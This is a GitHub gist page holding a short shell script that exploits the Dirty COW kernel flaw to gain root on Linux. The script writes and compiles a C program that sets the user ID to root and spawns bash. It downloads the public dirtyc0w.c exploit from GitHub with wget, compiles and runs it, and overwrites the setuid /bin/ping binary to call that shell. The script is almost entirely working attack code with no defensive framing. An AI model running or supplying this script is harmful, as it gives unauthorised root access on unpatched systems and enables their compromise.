Skip to content

Instantly share code, notes, and snippets.

@nongiach
Created October 21, 2016 13:08
Show Gist options
  • Save nongiach/bc8f9a1325b458871c53dd73b2703ede to your computer and use it in GitHub Desktop.
Save nongiach/bc8f9a1325b458871c53dd73b2703ede to your computer and use it in GitHub Desktop.
#!/bin/sh
cat << EOF > shell.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void main() {
setreuid(0, 0);
system("/bin/bash");
}
EOF
gcc -o shell shell.c
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
gcc -pthread -o dirtyc0w dirtyc0w.c
cp /bin/ping ping.backup
./dirtyc0w /bin/ping $'#!./shell\n'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment